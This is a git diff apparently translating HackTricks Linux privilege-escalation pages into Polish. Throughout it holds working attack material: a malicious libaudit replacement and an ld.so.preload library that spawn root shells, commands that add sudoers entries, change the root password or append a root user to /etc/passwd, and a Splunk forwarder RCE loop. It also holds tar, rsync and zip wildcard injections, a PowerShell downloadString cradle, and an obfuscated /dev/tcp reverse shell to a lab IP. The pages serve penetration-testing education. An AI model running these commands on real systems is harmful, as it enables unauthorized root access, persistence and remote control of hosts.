+libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) +libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) +/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` - -In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\ -So, check for functions of this library used by the **`su`** binary: - +W tym przypadku spróbujmy podszyć się pod `/lib/x86_64-linux-gnu/libaudit.so.1`.\ +Sprawdź funkcje tej biblioteki używane przez binarkę **`su`**: ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open @@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` - -The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit. - +Symbole `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` i `audit_fd` prawdopodobnie pochodzą z biblioteki libaudit.so.1. Ponieważ libaudit.so.1 zostanie nadpisana przez złośliwą bibliotekę współdzieloną, te symbole powinny być obecne w nowej bibliotece współdzielonej, w przeciwnym razie program nie będzie w stanie znaleźć symbolu i zakończy działanie. ```c #include #include @@ -102,34 +93,27 @@ void inject()__attribute__((constructor)); void inject() { - setuid(0); - setgid(0); - system("/bin/bash"); +setuid(0); +setgid(0); +system("/bin/bash"); } ``` +Teraz, wywołując **`/bin/su`**, uzyskasz powłokę jako root. -Now, just calling **`/bin/su`** you will obtain a shell as root. +## Skrypty -## Scripts - -Can you make root execute something? - -### **www-data to sudoers** +Czy możesz sprawić, aby root wykonał coś? +### **www-data do sudoers** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` - -### **Change root password** - +### **Zmień hasło roota** ```bash echo "root:hacked" | chpasswd ``` - -### Add new root user to /etc/passwd - +### Dodaj nowego użytkownika root do /etc/passwd ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index e54915fa9..965642066 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic information +## Podstawowe informacje -If you want to learn more about **runc** check the following page: +Jeśli chcesz dowiedzieć się więcej o **runc**, sprawdź następującą stronę: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,22 +12,21 @@ If you want to learn more about **runc** check the following page: ## PE -If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. - +Jeśli odkryjesz, że `runc` jest zainstalowany na hoście, możesz być w stanie **uruchomić kontener montując folder root / hosta**. ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder Inside the "mounts" section of the create config.json add the following lines: { - "type": "bind", - "source": "/", - "destination": "/", - "options": [ - "rbind", - "rw", - "rprivate" - ] +"type": "bind", +"source": "/", +"destination": "/", +"options": [ +"rbind", +"rw", +"rprivate" +] }, #Once you have modified the config.json file, create the folder rootfs in the same directory @@ -37,8 +36,7 @@ mkdir rootfs # The root folder is the one from the host runc run demo ``` - > [!CAUTION] -> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. +> To nie zawsze zadziała, ponieważ domyślna operacja runc polega na uruchamianiu jako root, więc uruchomienie go jako użytkownik bez uprawnień po prostu nie może działać (chyba że masz konfigurację bezrootową). Ustawienie konfiguracji bezrootowej jako domyślnej nie jest zazwyczaj dobrym pomysłem, ponieważ istnieje wiele ograniczeń wewnątrz kontenerów bezrootowych, które nie mają zastosowania poza kontenerami bezrootowymi. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index 548f3d785..633683ed6 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -1,13 +1,12 @@ {{#include ../../banners/hacktricks-training.md}} -# SELinux in Containers +# SELinux w kontenerach -[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines) +[Wprowadzenie i przykład z dokumentacji redhat](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. - -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) to **system etykietowania**. Każdy **proces** i każdy obiekt systemu plików ma swoją **etykietę**. Polityki SELinux definiują zasady dotyczące tego, co **etykieta procesu może robić z innymi etykietami** w systemie. +Silniki kontenerów uruchamiają **procesy kontenerowe z jedną ograniczoną etykietą SELinux**, zazwyczaj `container_t`, a następnie ustawiają etykietę `container_file_t` dla zawartości wewnątrz kontenera. Zasady polityki SELinux zasadniczo mówią, że **procesy `container_t` mogą tylko odczytywać/zapisywać/wykonywać pliki oznaczone etykietą `container_file_t`**. Jeśli proces kontenera ucieknie z kontenera i spróbuje zapisać zawartość na hoście, jądro Linuxa odmawia dostępu i pozwala procesowi kontenera tylko na zapis do zawartości oznaczonej etykietą `container_file_t`. ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -15,9 +14,8 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` +# Użytkownicy SELinux -# SELinux Users - -There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users. +Istnieją użytkownicy SELinux oprócz zwykłych użytkowników Linuxa. Użytkownicy SELinux są częścią polityki SELinux. Każdy użytkownik Linuxa jest mapowany na użytkownika SELinux jako część polityki. Umożliwia to użytkownikom Linuxa dziedziczenie ograniczeń oraz zasad i mechanizmów bezpieczeństwa nałożonych na użytkowników SELinux. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 3b5a9002d..6d0c2279b 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,9 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -## Socket binding example with Python - -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +## Przykład wiązania gniazda z użyciem Pythona +W poniższym przykładzie **tworzone jest gniazdo unixowe** (`/tmp/socket_test.s`), a wszystko, co **otrzymane**, będzie **wykonywane** przez `os.system`. Wiem, że nie znajdziesz tego w rzeczywistości, ale celem tego przykładu jest zobaczenie, jak wygląda kod używający gniazd unixowych oraz jak zarządzać wejściem w najgorszym możliwym przypadku. ```python:s.py import socket import os, os.path @@ -11,34 +10,29 @@ import time from collections import deque if os.path.exists("/tmp/socket_test.s"): - os.remove("/tmp/socket_test.s") +os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: - server.listen(1) - conn, addr = server.accept() - datagram = conn.recv(1024) - if datagram: - print(datagram) - os.system(datagram) - conn.close() +server.listen(1) +conn, addr = server.accept() +datagram = conn.recv(1024) +if datagram: +print(datagram) +os.system(datagram) +conn.close() ``` - -**Execute** the code using python: `python s.py` and **check how the socket is listening**: - +**Wykonaj** kod używając pythona: `python s.py` i **sprawdź, jak gniazdo nasłuchuje**: ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) +will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` - -**Exploit** - +**Eksploatacja** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 11d4253c5..bc2735860 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,52 +1,50 @@ -# Splunk LPE and Persistence +# Splunk LPE i Utrzymywanie {{#include ../../banners/hacktricks-training.md}} -If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. +Jeśli **enumerując** maszynę **wewnętrznie** lub **zewnętrznie** znajdziesz **uruchomiony Splunk** (port 8090), jeśli masz szczęście i znasz jakieś **ważne dane logowania**, możesz **wykorzystać usługę Splunk** do **wykonania powłoki** jako użytkownik uruchamiający Splunk. Jeśli uruchamia go root, możesz podnieść uprawnienia do roota. -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. +Jeśli jesteś **już rootem i usługa Splunk nie nasłuchuje tylko na localhost**, możesz **ukraść** plik **hasła** **z** usługi Splunk i **złamać** hasła lub **dodać nowe** dane logowania. I utrzymać trwałość na hoście. -In the first image below you can see how a Splunkd web page looks like. +Na pierwszym obrazie poniżej możesz zobaczyć, jak wygląda strona internetowa Splunkd. -## Splunk Universal Forwarder Agent Exploit Summary +## Podsumowanie Eksploatacji Agenta Splunk Universal Forwarder -For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary: +Aby uzyskać więcej szczegółów, sprawdź post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). To jest tylko podsumowanie: -**Exploit Overview:** -An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network. +**Przegląd Eksploatacji:** +Eksploatacja celująca w Agenta Splunk Universal Forwarder (UF) pozwala atakującym z hasłem agenta na wykonywanie dowolnego kodu na systemach uruchamiających agenta, co potencjalnie może skompromitować całą sieć. -**Key Points:** +**Kluczowe Punkty:** -- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution. -- Common password acquisition methods include locating them in network directories, file shares, or internal documentation. -- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration. +- Agent UF nie weryfikuje przychodzących połączeń ani autentyczności kodu, co czyni go podatnym na nieautoryzowane wykonanie kodu. +- Powszechne metody pozyskiwania haseł obejmują ich lokalizowanie w katalogach sieciowych, udostępnionych plikach lub dokumentacji wewnętrznej. +- Udana eksploatacja może prowadzić do dostępu na poziomie SYSTEM lub roota na skompromitowanych hostach, wycieków danych i dalszej infiltracji sieci. -**Exploit Execution:** +**Wykonanie Eksploatacji:** -1. Attacker obtains the UF agent password. -2. Utilizes the Splunk API to send commands or scripts to the agents. -3. Possible actions include file extraction, user account manipulation, and system compromise. +1. Atakujący uzyskuje hasło agenta UF. +2. Wykorzystuje API Splunk do wysyłania poleceń lub skryptów do agentów. +3. Możliwe działania obejmują ekstrakcję plików, manipulację kontami użytkowników i kompromitację systemu. -**Impact:** +**Wpływ:** -- Full network compromise with SYSTEM/root level permissions on each host. -- Potential for disabling logging to evade detection. -- Installation of backdoors or ransomware. - -**Example Command for Exploitation:** +- Pełna kompromitacja sieci z uprawnieniami SYSTEM/root na każdym hoście. +- Potencjał do wyłączenia logowania w celu uniknięcia wykrycia. +- Instalacja backdoorów lub ransomware. +**Przykładowe Polecenie do Eksploatacji:** ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` - -**Usable public exploits:** +**Użyteczne publiczne exploity:** - https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 - https://www.exploit-db.com/exploits/46238 - https://www.exploit-db.com/exploits/46487 -## Abusing Splunk Queries +## Wykorzystywanie zapytań Splunk -**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** +**Aby uzyskać więcej szczegółów, sprawdź post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index 774e13999..e7ab6678a 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -1,30 +1,26 @@ {{#include ../../banners/hacktricks-training.md}} -# Summary - -What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: +# Podsumowanie +Co możesz zrobić, jeśli odkryjesz w pliku `/etc/ssh_config` lub w `$HOME/.ssh/config` następującą konfigurację: ``` ForwardAgent yes ``` +Jeśli jesteś rootem na maszynie, prawdopodobnie możesz **uzyskać dostęp do dowolnego połączenia ssh nawiązanego przez dowolnego agenta**, którego możesz znaleźć w katalogu _/tmp_ -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory - -Impersonate Bob using one of Bob's ssh-agent: - +Podrobienie Boba za pomocą jednego z agentów ssh Boba: ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` +## Dlaczego to działa? -## Why does this work? +Kiedy ustawiasz zmienną `SSH_AUTH_SOCK`, uzyskujesz dostęp do kluczy Boba, które były używane w połączeniu ssh Boba. Następnie, jeśli jego klucz prywatny nadal tam jest (zwykle tak będzie), będziesz mógł uzyskać dostęp do dowolnego hosta, używając go. -When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. +Ponieważ klucz prywatny jest przechowywany w pamięci agenta w postaci niezaszyfrowanej, przypuszczam, że jeśli jesteś Bobem, ale nie znasz hasła do klucza prywatnego, nadal możesz uzyskać dostęp do agenta i go użyć. -As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. +Inną opcją jest to, że użytkownik będący właścicielem agenta oraz root mogą mieć dostęp do pamięci agenta i wyodrębnić klucz prywatny. -Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. +# Długie wyjaśnienie i eksploatacja -# Long explanation and exploitation - -**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)** +**Sprawdź [oryginalne badania tutaj](https://www.clockwork.com/insights/ssh-agent-hijacking/)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index d497174d6..26f64c5fe 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -2,71 +2,59 @@ ## chown, chmod -You can **indicate which file owner and permissions you want to copy for the rest of the files** - +Możesz **określić, którego właściciela pliku i uprawnienia chcesz skopiować dla pozostałych plików** ```bash touch "--reference=/my/own/path/filename" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Możesz to wykorzystać używając [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(połączony atak)_\ +Więcej informacji w [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Tar -**Execute arbitrary commands:** - +**Wykonaj dowolne polecenia:** ```bash touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Możesz to wykorzystać, używając [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(atak tar)_\ +Więcej informacji w [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Rsync -**Execute arbitrary commands:** - +**Wykonaj dowolne polecenia:** ```bash Interesting rsync option from manual: - -e, --rsh=COMMAND specify the remote shell to use - --rsync-path=PROGRAM specify the rsync to run on remote machine +-e, --rsh=COMMAND specify the remote shell to use +--rsync-path=PROGRAM specify the rsync to run on remote machine ``` ```bash touch "-e sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Możesz to wykorzystać używając [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_\ +Więcej informacji w [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## 7z -In **7z** even using `--` before `*` (note that `--` means that the following input cannot treated as parameters, so just file paths in this case) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root: - +W **7z** nawet używając `--` przed `*` (zauważ, że `--` oznacza, że następujące dane wejściowe nie mogą być traktowane jako parametry, więc w tym przypadku tylko ścieżki do plików) możesz spowodować dowolny błąd w odczycie pliku, więc jeśli polecenie takie jak poniższe jest wykonywane przez roota: ```bash 7za a /backup/$filename.zip -t7z -snl -p$pass -- * ``` - -And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read: - +Możesz tworzyć pliki w folderze, w którym to jest wykonywane, możesz utworzyć plik `@root.txt` oraz plik `root.txt`, będący **symlinkiem** do pliku, który chcesz odczytać: ```bash cd /path/to/7z/acting/folder touch @root.txt ln -s /file/you/want/to/read root.txt ``` +Wtedy, gdy **7z** jest uruchamiane, traktuje `root.txt` jako plik zawierający listę plików, które powinno skompresować (to, co oznacza istnienie `@root.txt`), a gdy 7z odczytuje `root.txt`, odczyta `/file/you/want/to/read` i **ponieważ zawartość tego pliku nie jest listą plików, zgłosi błąd** pokazując zawartość. -Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress (thats what the existence of `@root.txt` indicates) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content. - -_More info in Write-ups of the box CTF from HackTheBox._ +_ więcej informacji w Write-ups of the box CTF from HackTheBox._ ## Zip -**Execute arbitrary commands:** - +**Wykonaj dowolne polecenia:** ```bash zip name.zip files -T --unzip-command "sh -c whoami" ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/write-to-root.md b/src/linux-hardening/privilege-escalation/write-to-root.md index 65f4bbafc..3ea4de333 100644 --- a/src/linux-hardening/privilege-escalation/write-to-root.md +++ b/src/linux-hardening/privilege-escalation/write-to-root.md @@ -1,40 +1,36 @@ -# Arbitrary File Write to Root +# Dowolne zapisywanie plików do roota {{#include ../../banners/hacktricks-training.md}} ### /etc/ld.so.preload -This file behaves like **`LD_PRELOAD`** env variable but it also works in **SUID binaries**.\ -If you can create it or modify it, you can just add a **path to a library that will be loaded** with each executed binary. - -For example: `echo "/tmp/pe.so" > /etc/ld.so.preload` +Ten plik działa jak zmienna środowiskowa **`LD_PRELOAD`**, ale działa również w **binarnych plikach SUID**.\ +Jeśli możesz go utworzyć lub zmodyfikować, możesz po prostu dodać **ścieżkę do biblioteki, która będzie ładowana** z każdym wykonywanym plikiem binarnym. +Na przykład: `echo "/tmp/pe.so" > /etc/ld.so.preload` ```c #include #include #include void _init() { - unlink("/etc/ld.so.preload"); - setgid(0); - setuid(0); - system("/bin/bash"); +unlink("/etc/ld.so.preload"); +setgid(0); +setuid(0); +system("/bin/bash"); } //cd /tmp //gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - ### Git hooks -[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) are **scripts** that are **run** on various **events** in a git repository like when a commit is created, a merge... So if a **privileged script or user** is performing this actions frequently and it's possible to **write in the `.git` folder**, this can be used to **privesc**. - -For example, It's possible to **generate a script** in a git repo in **`.git/hooks`** so it's always executed when a new commit is created: +[**Git hooks**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) to **skrypty**, które są **uruchamiane** przy różnych **zdarzeniach** w repozytorium git, takich jak tworzenie commita, scalanie... Jeśli więc **skrypt z uprawnieniami lub użytkownik** wykonuje te działania często i możliwe jest **zapisywanie w folderze `.git`**, można to wykorzystać do **privesc**. +Na przykład, możliwe jest **generowanie skryptu** w repozytorium git w **`.git/hooks`**, aby był zawsze wykonywany, gdy tworzony jest nowy commit: ```bash echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit chmod +x pre-commit ``` - ### Cron & Time files TODO @@ -45,6 +41,6 @@ TODO ### binfmt_misc -The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open. +Plik znajdujący się w `/proc/sys/fs/binfmt_misc` wskazuje, który plik binarny powinien wykonywać jaki typ plików. TODO: sprawdź wymagania, aby wykorzystać to do uruchomienia rev shell, gdy otwarty jest typ pliku. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/useful-linux-commands/README.md b/src/linux-hardening/useful-linux-commands/README.md index f69d43525..66d926d7c 100644 --- a/src/linux-hardening/useful-linux-commands/README.md +++ b/src/linux-hardening/useful-linux-commands/README.md @@ -1,17 +1,9 @@ -# Useful Linux Commands +# Przydatne polecenia Linuxa -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {{#include ../../banners/hacktricks-training.md}} -## Common Bash - +## Typowe Bash ```bash #Exfiltration using Base64 base64 -w 0 file @@ -130,17 +122,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it # List files inside zip 7z l file.zip ``` - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Bash for Windows - +## Bash dla Windows ```bash #Base64 for Windows echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 @@ -160,9 +142,7 @@ python pyinstaller.py --onefile exploit.py #sudo apt-get install gcc-mingw-w64-i686 i686-mingw32msvc-gcc -o executable useradd.c ``` - ## Greps - ```bash #Extract emails from file grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt @@ -242,9 +222,7 @@ grep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt #Extract ISBN Numbers egrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt ``` - -## Find - +## Znajdź ```bash # Find SUID set files. find / -perm /u=s -ls 2>/dev/null @@ -273,25 +251,19 @@ find / -maxdepth 5 -type f -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /p # Found Newer directory only and sort by time. (depth = 5) find / -maxdepth 5 -type d -printf "%T@ %Tc | %p \n" 2>/dev/null | grep -v "| /proc" | grep -v "| /dev" | grep -v "| /run" | grep -v "| /var/log" | grep -v "| /boot" | grep -v "| /sys/" | sort -n -r | less ``` - -## Nmap search help - +## Pomoc w wyszukiwaniu Nmap ```bash #Nmap scripts ((default or version) and smb)) nmap --script-help "(default or version) and *smb*" locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb nmap --script-help "(default or version) and smb)" ``` - ## Bash - ```bash #All bytes inside a file (except 0x20 and 0x00) for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done ``` - ## Iptables - ```bash #Delete curent rules and chains iptables --flush @@ -322,13 +294,4 @@ iptables -P INPUT DROP iptables -P FORWARD ACCEPT iptables -P OUTPUT ACCEPT ``` - {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md index 5391e3c9d..a2df64fb1 100644 --- a/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md +++ b/src/linux-hardening/useful-linux-commands/bypass-bash-restrictions.md @@ -1,27 +1,16 @@ -# Bypass Linux Restrictions +# Ominięcie Ograniczeń Linuxa {{#include ../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Common Limitations Bypasses - -### Reverse Shell +## Ominięcia Powszechnych Ograniczeń +### Odwrócony Shell ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` - -### Short Rev shell - +### Krótkie Rev shell ```bash #Trick from Dikline #Get a rev shell with @@ -29,9 +18,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` - -### Bypass Paths and forbidden words - +### Ominięcie ścieżek i zabronionych słów ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -86,9 +73,7 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` - -### Bypass forbidden spaces - +### Ominięcie zabronionych spacji ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -121,22 +106,16 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` - -### Bypass backslash and slash - +### Ominięcie ukośnika i odwrotnego ukośnika ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` - -### Bypass pipes - +### Ominić potoki ```bash 